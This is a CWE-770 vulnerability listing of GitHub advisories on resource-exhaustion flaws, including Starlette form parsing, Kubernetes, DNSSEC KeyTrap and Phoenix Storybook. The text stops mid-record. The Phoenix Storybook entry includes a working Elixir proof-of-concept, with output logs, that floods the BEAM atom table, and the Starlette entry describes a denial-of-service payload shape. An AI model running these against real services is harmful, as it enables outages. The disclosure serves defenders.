Common Weakness Enumeration

CWE-770

Allowed

Allocation of Resources Without Limits or Throttling

Abstraction: Base · Status: Incomplete

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.

3009 vulnerabilities reference this CWE, most recent first.

GHSA-824H-6HR6-GHH3

Vulnerability from github – Published: 2022-12-27 18:30 – Updated: 2023-01-05 06:30
VLAI
Details

Some Dahua software products have a vulnerability of unauthenticated un-throttled ICMP requests on remote DSS Server. After bypassing the firewall access control policy, by sending a specific crafted packet to the vulnerable interface, an attacker could exploit the victim server to launch ICMP request attack to the designated target host.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-45434"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-27T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Some Dahua software products have a vulnerability of unauthenticated un-throttled ICMP requests on remote DSS Server. After bypassing the firewall access control policy, by sending a specific crafted packet to the vulnerable interface, an attacker could exploit the victim server to launch ICMP request attack to the designated target host.",
  "id": "GHSA-824h-6hr6-ghh3",
  "modified": "2023-01-05T06:30:23Z",
  "published": "2022-12-27T18:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45434"
    },
    {
      "type": "WEB",
      "url": "https://www.dahuasecurity.com/support/cybersecurity/details/1137"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-826Q-PPF7-8G9V

Vulnerability from github – Published: 2026-04-09 15:35 – Updated: 2026-04-14 18:30
VLAI
Details

A memory exhaustion vulnerability exists in the HTTP server due to unbounded use of the Content-Length header. The server allocates memory directly based on the attacker supplied header value without enforcing an upper limit. A crafted HTTP request containing an extremely large Content-Length value can trigger excessive memory allocation and server termination, even without sending a request body.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-5440"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-09T15:16:16Z",
    "severity": "HIGH"
  },
  "details": "A memory exhaustion vulnerability exists in the HTTP server due to unbounded use of the `Content-Length` header.  The server allocates memory directly based on the attacker supplied header value without enforcing an upper limit. A crafted HTTP request containing an extremely large `Content-Length` value can trigger excessive memory allocation and server termination, even without sending a request body.",
  "id": "GHSA-826q-ppf7-8g9v",
  "modified": "2026-04-14T18:30:31Z",
  "published": "2026-04-09T15:35:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5440"
    },
    {
      "type": "WEB",
      "url": "https://kb.cert.org/vuls/id/536588"
    },
    {
      "type": "WEB",
      "url": "https://www.machinespirits.de"
    },
    {
      "type": "WEB",
      "url": "https://www.orthanc-server.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-82HX-W2R5-C2WQ

Vulnerability from github – Published: 2022-02-15 01:57 – Updated: 2023-09-20 22:42
VLAI
Summary
Kubernetes API Server DoS Via API Requests
Details

The Kubernetes API server component in Kubernetes versions prior to 1.15.9, 1.16.0-1.16.6, and 1.17.0-1.17.2 has been found to be vulnerable to a denial of service attack via successful API requests.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "k8s.io/apiserver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.15.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "k8s.io/apiserver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.16.0"
            },
            {
              "fixed": "0.16.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "k8s.io/apiserver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.17.0"
            },
            {
              "fixed": "0.17.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-8552"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-06T21:48:16Z",
    "nvd_published_at": "2020-03-27T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The Kubernetes API server component in Kubernetes versions prior to 1.15.9, 1.16.0-1.16.6, and 1.17.0-1.17.2 has been found to be vulnerable to a denial of service attack via successful API requests.",
  "id": "GHSA-82hx-w2r5-c2wq",
  "modified": "2023-09-20T22:42:48Z",
  "published": "2022-02-15T01:57:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8552"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubernetes/kubernetes/issues/89378"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubernetes/kubernetes/pull/87669"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubernetes/kubernetes/commit/5978856c4c7f10737a11c9540fe60b8475beecbb"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/forum/#!topic/kubernetes-security-announce/2UOlsba2g0s"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3SOCLOPTSYABTE4CLTSPDIFE6ZZZR4LX"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20200413-0003"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kubernetes API Server DoS Via API Requests"
}

GHSA-82VG-5V4F-F9WQ

Vulnerability from github – Published: 2025-02-20 20:33 – Updated: 2025-02-20 20:33
VLAI
Summary
Namada-apps can Crash with Excessive Computation in Mempool Validation
Details

Impact

A malicious transaction may cause a crash in mempool validation.

A transaction with authorization section containing 256 public keys or more with valid matching signatures triggers an integer overflow in signature verification that causes a the node to panic.

Patches

This issue has been patched in apps version 1.1.0. The mempool validation has been fixed to avoid overflow.

Workarounds

There are no workarounds and users are advised to upgrade.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "namada-apps"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.0.0"
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-02-20T20:33:56Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Impact\n\nA malicious transaction may cause a crash in mempool validation.\n\nA transaction with authorization section containing 256 public keys or more with valid matching signatures triggers an integer overflow in signature verification that causes a the node to panic.\n\n### Patches\n\nThis issue has been patched in apps version 1.1.0. The mempool validation has been fixed to avoid overflow.\n\n### Workarounds\n\nThere are no workarounds and users are advised to upgrade.",
  "id": "GHSA-82vg-5v4f-f9wq",
  "modified": "2025-02-20T20:33:56Z",
  "published": "2025-02-20T20:33:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/anoma/namada/security/advisories/GHSA-82vg-5v4f-f9wq"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/anoma/namada"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Namada-apps can Crash with Excessive Computation in Mempool Validation"
}

GHSA-82W8-QH3P-5JFQ

Vulnerability from github – Published: 2026-06-15 20:39 – Updated: 2026-06-15 20:39
VLAI
Summary
Starlette: request.form() limits silently ignored for application/x-www-form-urlencoded enable DoS
Details

Summary

request.form() accepts max_fields and max_part_size to bound resource consumption while parsing form data. These limits are enforced for multipart/form-data, but silently ignored for application/x-www-form-urlencoded. An unauthenticated attacker can therefore send a urlencoded body with an arbitrarily large number of fields or an arbitrarily large field, even when the application configured limits it believed would apply.

Details

request.form() dispatches to a different parser depending on the Content-Type. For multipart/form-data the max_files, max_fields, and max_part_size limits are forwarded to the parser, but for application/x-www-form-urlencoded the parser is constructed without them. It has no max_fields or max_part_size parameter to receive them, and it appends every field with no count check and accumulates each field's name and value with no size check. The configured limits are therefore both unreachable and unenforced for url-encoded bodies.

Because the url-encoded parser does its work synchronously between stream reads, the two attack shapes have different effects:

  • Field count drives CPU and event-loop blocking. A body of ~1,000,000 fields (a sub-10MB payload such as f0=v&f1=v&...) blocks the worker's event loop for several seconds while parsing, during which the worker serves no other request.
  • Field size drives memory. A single large field value (e.g. a 50MB value) is buffered in full to build the FormData, forcing memory allocation proportional to the request body.

The equivalent multipart/form-data request is correctly rejected with 400 Too many fields / 400 Field exceeded maximum size.

Impact

This Denial of service (DoS) vulnerability affects all applications built with Starlette (or FastAPI) that call request.form() on application/x-www-form-urlencoded requests. A single request with a very large number of fields blocks the event loop for several seconds, and a single request with a very large field forces unbounded memory allocation; in either case, parallel requests can render the service unusable. A reverse proxy that enforces a request body size limit reduces but does not eliminate the exposure, since a sub-10MB body is already enough to block the event loop.

Mitigation

Upgrade to a patched version, which forwards max_fields and max_part_size to the url-encoded parser and enforces them while parsing, raising before the oversized field or excess fields are accumulated. The defaults match multipart/form-data (max_fields=1000, max_part_size=1MB) and can be customized via request.form(max_fields=..., max_part_size=...).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "starlette"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.4.1"
            },
            {
              "fixed": "1.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54283"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-15T20:39:53Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n`request.form()` accepts `max_fields` and `max_part_size` to bound resource consumption while parsing form data. These limits are enforced for `multipart/form-data`, but silently ignored for `application/x-www-form-urlencoded`. An unauthenticated attacker can therefore send a urlencoded body with an arbitrarily large number of fields or an arbitrarily large field, even when the application configured limits it believed would apply.\n\n### Details\n`request.form()` dispatches to a different parser depending on the `Content-Type`. For `multipart/form-data` the `max_files`, `max_fields`, and `max_part_size` limits are forwarded to the parser, but for `application/x-www-form-urlencoded` the parser is constructed without them. It has no `max_fields` or `max_part_size` parameter to receive them, and it appends every field with no count check and accumulates each field\u0027s name and value with no size check. The configured limits are therefore both unreachable and unenforced for url-encoded bodies.\n\nBecause the url-encoded parser does its work synchronously between stream reads, the two attack shapes have different effects:\n\n- **Field count** drives CPU and event-loop blocking. A body of ~1,000,000 fields (a sub-10MB payload such as `f0=v\u0026f1=v\u0026...`) blocks the worker\u0027s event loop for several seconds while parsing, during which the worker serves no other request.\n- **Field size** drives memory. A single large field value (e.g. a 50MB value) is buffered in full to build the `FormData`, forcing memory allocation proportional to the request body.\n\nThe equivalent `multipart/form-data` request is correctly rejected with `400 Too many fields` / `400 Field exceeded maximum size`.\n\n### Impact\nThis Denial of service (DoS) vulnerability affects all applications built with Starlette (or FastAPI) that call `request.form()` on `application/x-www-form-urlencoded` requests. A single request with a very large number of fields blocks the event loop for several seconds, and a single request with a very large field forces unbounded memory allocation; in either case, parallel requests can render the service unusable. A reverse proxy that enforces a request body size limit reduces but does not eliminate the exposure, since a sub-10MB body is already enough to block the event loop.\n\n### Mitigation\nUpgrade to a patched version, which forwards `max_fields` and `max_part_size` to the url-encoded parser and enforces them while parsing, raising before the oversized field or excess fields are accumulated. The defaults match `multipart/form-data` (`max_fields=1000`, `max_part_size=1MB`) and can be customized via `request.form(max_fields=..., max_part_size=...)`.",
  "id": "GHSA-82w8-qh3p-5jfq",
  "modified": "2026-06-15T20:39:53Z",
  "published": "2026-06-15T20:39:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Kludex/starlette/security/advisories/GHSA-82w8-qh3p-5jfq"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Kludex/starlette"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Starlette: request.form() limits silently ignored for application/x-www-form-urlencoded enable DoS"
}

GHSA-833P-95JQ-929Q

Vulnerability from github – Published: 2026-06-09 21:59 – Updated: 2026-06-09 21:59
VLAI
Summary
PhoenixStorybook: Unbounded atom creation from LiveView event params (atom-table DoS)
Details

Summary

An attacker who can deliver psb-assign, psb-toggle, psb-set-theme, upper-tab-navigation, lower-tab-navigation, playground-change, or playground-toggle LiveView events to a mounted Phoenix Storybook playground can flood the BEAM atom table with attacker-controlled strings, permanently leaking atoms until the VM hits its ~1,048,576 atom ceiling and crashes the entire node. No authentication is required beyond being able to reach the storybook route.

Tabs parsing was introduced in https://github.com/phenixdigital/phoenix_storybook/commit/0228669d55c23a754d1ef11f49a32121129d5395

Details

PhoenixStorybook.Story.Playground and PhoenixStorybook.ExtraAssignsHelpers converts user-supplied event params into atoms without checking whether the atoms already exist:

  • handle_set_variation_assign/3 (lib/phoenix_storybook/helpers/extra_assigns_helpers.ex:59) iterates the event params map and calls String.to_atom/1 on every key.
  • handle_toggle_variation_assign/3 (line 73) calls String.to_atom/1 on the "attr" value supplied by the client.
  • to_variation_id/2 (lines 90, 93) calls String.to_atom/1 on each element of "variation_id".
  • to_value/4 (lines 106, 107) calls String.to_atom/1 on the raw string value for any attribute declared as :atom or :boolean.

The existing guards do not help: check_type!/3 for :boolean inspects the atom after String.to_atom/1 has already interned it, so the leak has already happened. The :atom branch only checks is_atom/1, which is trivially true for the atom that was just created. Atoms in the BEAM are never garbage-collected, so each unique attacker string is a permanent leak; once the atom table fills, the VM aborts.

The fix is to use String.to_existing_atom/1 (with a rescue that rejects unknown names) or, better, to look the attribute / variation up in the declared story.attributes() / variation registry and reuse the atom from there.

PoC

The attached script focuses on only the first class of parameters. It encodes the threat model of an outside attacker who can deliver psb-assign events to a mounted storybook playground LiveView. LiveView event handlers route those params into the public helper PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3 (see lib/phoenix_storybook/live/story/playground_preview_live.ex), so the script calls that helper directly with attacker-shaped params — a stub FakeStory providing an empty attributes/0 list and a single :default variation, plus an extra_assigns map keyed by {:single, :default}.

Each simulated request is a params map with 5,000 unique keys of the form "psb_evil_<nonce>_<r>_<i>". Because the helper does for {key, value} <- params, ..., do: {String.to_atom(key), ...}, every distinct key is interned as a brand-new permanent atom. The script issues 5 such requests for 25,000 atoms total — modest on purpose so the script finishes quickly; raising either loop bound walks the process straight into :erlang.system_info(:atom_limit) and crashes the VM.

The script measures :erlang.system_info(:atom_count) before and after, prints the delta and the atom limit, and prints VERIFIED: … when the delta is at least requests * attrs_per_request (i.e. 25,000), proving that each attacker-controlled string became a permanent atom. No authentication is required by the helper itself — only the ability to reach the storybook route and emit the event.

The full script is attached below under "Scripts and Logs".

Impact

Unauthenticated denial-of-service via atom-table exhaustion against any Phoenix application that mounts Phoenix Storybook (1.0.0) on a network-reachable route. A single sustained stream of psb-assign / psb-toggle events with unique keys is enough to crash the entire BEAM node, taking down every application running on it — not just the storybook. The only precondition is reachability of the storybook LiveView; many deployments expose it in staging/preview environments or, by misconfiguration, in production.

Scripts and Logs

# Verifies: Unbounded atom creation from LiveView event params (atom-table DoS)
#
# Run with:
#   elixir unbounded_atom_creation_from_liveview_event_params_atom_tabl_1350.exs
#
# Threat model: an outside attacker who can deliver `psb-assign` events to a
# mounted storybook view supplies attacker-controlled param maps. The library's
# public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3`
# is the documented entry point that LiveView event handlers feed those params
# into (see lib/phoenix_storybook/live/story/playground_preview_live.ex). The
# helper interns every key of `params` with `String.to_atom/1`, so unique
# attacker strings each create a permanent atom.

Mix.install([{:phoenix_storybook, "1.0.0"}])

alias PhoenixStorybook.ExtraAssignsHelpers
alias PhoenixStorybook.Stories.Variation

defmodule FakeStory do
  def attributes, do: []
  def variations, do: [%Variation{id: :default, attributes: %{}}]
end

extra_assigns = %{{:single, :default} => %{}}

# Each request from the attacker is one params map. Use 5_000 unique attribute
# names per request, across 5 requests = 25_000 distinct atoms permanently
# leaked. (Kept modest so the script finishes quickly; raise to crash the VM.)
nonce = System.unique_integer([:positive])
requests = 5
attrs_per_request = 5_000

before_count = :erlang.system_info(:atom_count)

for r <- 1..requests do
  attacker_params =
    for i <- 1..attrs_per_request, into: %{"variation_id" => "default"} do
      {"psb_evil_#{nonce}_#{r}_#{i}", "x"}
    end

  ExtraAssignsHelpers.handle_set_variation_assign(attacker_params, extra_assigns, FakeStory)
end

after_count = :erlang.system_info(:atom_count)
delta = after_count - before_count

IO.puts("atom_count before: #{before_count}")
IO.puts("atom_count after:  #{after_count}")
IO.puts("delta:             #{delta}")
IO.puts("atom_limit:        #{:erlang.system_info(:atom_limit)}")

expected = requests * attrs_per_request

if delta >= expected do
  IO.puts(
    "VERIFIED: handle_set_variation_assign/3 interned #{delta} attacker-controlled strings as permanent atoms (limit #{:erlang.system_info(:atom_limit)}); a sustained flood exhausts the atom table and crashes the BEAM."
  )
else
  IO.puts("NOT VERIFIED: only #{delta} new atoms created (expected >= #{expected})")
end

Logs

atom_count before: 26341
atom_count after:  51361
delta:             25020
atom_limit:        1048576
VERIFIED: handle_set_variation_assign/3 interned 25020 attacker-controlled strings as permanent atoms (limit 1048576); a sustained flood exhausts the atom table and crashes the BEAM.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "phoenix_storybook"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.2.0"
            },
            {
              "fixed": "1.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-8469"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-09T21:59:07Z",
    "nvd_published_at": "2026-05-20T14:17:04Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nAn attacker who can deliver `psb-assign`, `psb-toggle`, `psb-set-theme`, `upper-tab-navigation`, `lower-tab-navigation`, `playground-change`, or `playground-toggle` LiveView events to a mounted Phoenix Storybook playground can flood the BEAM atom table with attacker-controlled strings, permanently leaking atoms until the VM hits its ~1,048,576 atom ceiling and crashes the entire node. No authentication is required beyond being able to reach the storybook route.\n\nTabs parsing was introduced in https://github.com/phenixdigital/phoenix_storybook/commit/0228669d55c23a754d1ef11f49a32121129d5395\n\n### Details\n`PhoenixStorybook.Story.Playground` and `PhoenixStorybook.ExtraAssignsHelpers` converts user-supplied event params into atoms without checking whether the atoms already exist:\n\n- `handle_set_variation_assign/3` (`lib/phoenix_storybook/helpers/extra_assigns_helpers.ex:59`) iterates the event params map and calls `String.to_atom/1` on every key.\n- `handle_toggle_variation_assign/3` (line 73) calls `String.to_atom/1` on the `\"attr\"` value supplied by the client.\n- `to_variation_id/2` (lines 90, 93) calls `String.to_atom/1` on each element of `\"variation_id\"`.\n- `to_value/4` (lines 106, 107) calls `String.to_atom/1` on the raw string value for any attribute declared as `:atom` or `:boolean`.\n\nThe existing guards do not help: `check_type!/3` for `:boolean` inspects the atom *after* `String.to_atom/1` has already interned it, so the leak has already happened. The `:atom` branch only checks `is_atom/1`, which is trivially true for the atom that was just created. Atoms in the BEAM are never garbage-collected, so each unique attacker string is a permanent leak; once the atom table fills, the VM aborts.\n\nThe fix is to use `String.to_existing_atom/1` (with a rescue that rejects unknown names) or, better, to look the attribute / variation up in the declared `story.attributes()` / variation registry and reuse the atom from there.\n\n### PoC\nThe attached script focuses on only the first class of parameters. It encodes the threat model of an outside attacker who can deliver `psb-assign` events to a mounted storybook playground LiveView. LiveView event handlers route those params into the public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3` (see `lib/phoenix_storybook/live/story/playground_preview_live.ex`), so the script calls that helper directly with attacker-shaped params \u2014 a stub `FakeStory` providing an empty `attributes/0` list and a single `:default` variation, plus an `extra_assigns` map keyed by `{:single, :default}`.\n\nEach simulated request is a params map with 5,000 unique keys of the form `\"psb_evil_\u003cnonce\u003e_\u003cr\u003e_\u003ci\u003e\"`. Because the helper does `for {key, value} \u003c- params, ..., do: {String.to_atom(key), ...}`, every distinct key is interned as a brand-new permanent atom. The script issues 5 such requests for 25,000 atoms total \u2014 modest on purpose so the script finishes quickly; raising either loop bound walks the process straight into `:erlang.system_info(:atom_limit)` and crashes the VM.\n\nThe script measures `:erlang.system_info(:atom_count)` before and after, prints the delta and the atom limit, and prints `VERIFIED: \u2026` when the delta is at least `requests * attrs_per_request` (i.e. 25,000), proving that each attacker-controlled string became a permanent atom. No authentication is required by the helper itself \u2014 only the ability to reach the storybook route and emit the event.\n\nThe full script is attached below under \"Scripts and Logs\".\n\n### Impact\nUnauthenticated denial-of-service via atom-table exhaustion against any Phoenix application that mounts Phoenix Storybook (1.0.0) on a network-reachable route. A single sustained stream of `psb-assign` / `psb-toggle` events with unique keys is enough to crash the entire BEAM node, taking down every application running on it \u2014 not just the storybook. The only precondition is reachability of the storybook LiveView; many deployments expose it in staging/preview environments or, by misconfiguration, in production.\n\n## Scripts and Logs\n\n```elixir\n# Verifies: Unbounded atom creation from LiveView event params (atom-table DoS)\n#\n# Run with:\n#   elixir unbounded_atom_creation_from_liveview_event_params_atom_tabl_1350.exs\n#\n# Threat model: an outside attacker who can deliver `psb-assign` events to a\n# mounted storybook view supplies attacker-controlled param maps. The library\u0027s\n# public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3`\n# is the documented entry point that LiveView event handlers feed those params\n# into (see lib/phoenix_storybook/live/story/playground_preview_live.ex). The\n# helper interns every key of `params` with `String.to_atom/1`, so unique\n# attacker strings each create a permanent atom.\n\nMix.install([{:phoenix_storybook, \"1.0.0\"}])\n\nalias PhoenixStorybook.ExtraAssignsHelpers\nalias PhoenixStorybook.Stories.Variation\n\ndefmodule FakeStory do\n  def attributes, do: []\n  def variations, do: [%Variation{id: :default, attributes: %{}}]\nend\n\nextra_assigns = %{{:single, :default} =\u003e %{}}\n\n# Each request from the attacker is one params map. Use 5_000 unique attribute\n# names per request, across 5 requests = 25_000 distinct atoms permanently\n# leaked. (Kept modest so the script finishes quickly; raise to crash the VM.)\nnonce = System.unique_integer([:positive])\nrequests = 5\nattrs_per_request = 5_000\n\nbefore_count = :erlang.system_info(:atom_count)\n\nfor r \u003c- 1..requests do\n  attacker_params =\n    for i \u003c- 1..attrs_per_request, into: %{\"variation_id\" =\u003e \"default\"} do\n      {\"psb_evil_#{nonce}_#{r}_#{i}\", \"x\"}\n    end\n\n  ExtraAssignsHelpers.handle_set_variation_assign(attacker_params, extra_assigns, FakeStory)\nend\n\nafter_count = :erlang.system_info(:atom_count)\ndelta = after_count - before_count\n\nIO.puts(\"atom_count before: #{before_count}\")\nIO.puts(\"atom_count after:  #{after_count}\")\nIO.puts(\"delta:             #{delta}\")\nIO.puts(\"atom_limit:        #{:erlang.system_info(:atom_limit)}\")\n\nexpected = requests * attrs_per_request\n\nif delta \u003e= expected do\n  IO.puts(\n    \"VERIFIED: handle_set_variation_assign/3 interned #{delta} attacker-controlled strings as permanent atoms (limit #{:erlang.system_info(:atom_limit)}); a sustained flood exhausts the atom table and crashes the BEAM.\"\n  )\nelse\n  IO.puts(\"NOT VERIFIED: only #{delta} new atoms created (expected \u003e= #{expected})\")\nend\n\n```\n\n### Logs\n\n```logs\natom_count before: 26341\natom_count after:  51361\ndelta:             25020\natom_limit:        1048576\nVERIFIED: handle_set_variation_assign/3 interned 25020 attacker-controlled strings as permanent atoms (limit 1048576); a sustained flood exhausts the atom table and crashes the BEAM.\n```",
  "id": "GHSA-833p-95jq-929q",
  "modified": "2026-06-09T21:59:07Z",
  "published": "2026-06-09T21:59:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/phenixdigital/phoenix_storybook/security/advisories/GHSA-833p-95jq-929q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8469"
    },
    {
      "type": "WEB",
      "url": "https://github.com/phenixdigital/phoenix_storybook/commit/96d524690af0fe197a49f60d18e564a620b9ef81"
    },
    {
      "type": "WEB",
      "url": "https://cna.erlef.org/cves/CVE-2026-8469.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/phenixdigital/phoenix_storybook"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-8469"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PhoenixStorybook: Unbounded atom creation from LiveView event params (atom-table DoS)"
}

GHSA-839R-7HHG-XHQR

Vulnerability from github – Published: 2025-08-01 06:31 – Updated: 2025-08-20 21:30
VLAI
Details

LiteSpeed QUIC (LSQUIC) Library before 4.3.1 has an lsquic_engine_packet_in memory leak.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-54939"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-01T06:15:28Z",
    "severity": "MODERATE"
  },
  "details": "LiteSpeed QUIC (LSQUIC) Library before 4.3.1 has an lsquic_engine_packet_in memory leak.",
  "id": "GHSA-839r-7hhg-xhqr",
  "modified": "2025-08-20T21:30:24Z",
  "published": "2025-08-01T06:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54939"
    },
    {
      "type": "WEB",
      "url": "https://github.com/litespeedtech/lsquic/commit/4cd9252e77fb4a36b572e2167a84067d603d3b23"
    },
    {
      "type": "WEB",
      "url": "https://blog.litespeedtech.com/2025/08/18/litespeed-security-update"
    },
    {
      "type": "WEB",
      "url": "https://github.com/litespeedtech/lsquic/blob/70486141724f85e97b08f510673e29f399bbae8f/CHANGELOG#L1-L3"
    },
    {
      "type": "WEB",
      "url": "https://www.imperva.com/blog/quic-leak-cve-2025-54939-new-high-risk-pre-handshake-remote-denial-of-service-in-lsquic-quic-implementation"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8459-GG55-8QJJ

Vulnerability from github – Published: 2024-02-14 18:30 – Updated: 2025-11-04 21:31
VLAI
Details

Certain DNSSEC aspects of the DNS protocol (in RFC 4035 and related RFCs) allow remote attackers to cause a denial of service (CPU consumption) via one or more DNSSEC responses when there is a zone with many DNSKEY and RRSIG records, aka the "KeyTrap" issue. The protocol specification implies that an algorithm must evaluate all combinations of DNSKEY and RRSIG records.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-50387"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-14T16:15:45Z",
    "severity": "HIGH"
  },
  "details": "Certain DNSSEC aspects of the DNS protocol (in RFC 4035 and related RFCs) allow remote attackers to cause a denial of service (CPU consumption) via one or more DNSSEC responses when there is a zone with many DNSKEY and RRSIG records, aka the \"KeyTrap\" issue. The protocol specification implies that an algorithm must evaluate all combinations of DNSKEY and RRSIG records.",
  "id": "GHSA-8459-gg55-8qjj",
  "modified": "2025-11-04T21:31:09Z",
  "published": "2024-02-14T18:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-50387"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/UQESRWMJCF4JEYJEAKLRM6CT55GLJAB7"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ZDZFMEKQTZ4L7RY46FCENWFB5MDT263R"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BUIP7T7Z4T3UHLXFWG6XIVDP4GYPD3AI"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HVRDSJVZKMCXKKPP6PNR62T7RWZ3YSDZ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/RGS7JN6FZXUSTC2XKQHH27574XOULYYJ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZDZFMEKQTZ4L7RY46FCENWFB5MDT263R"
    },
    {
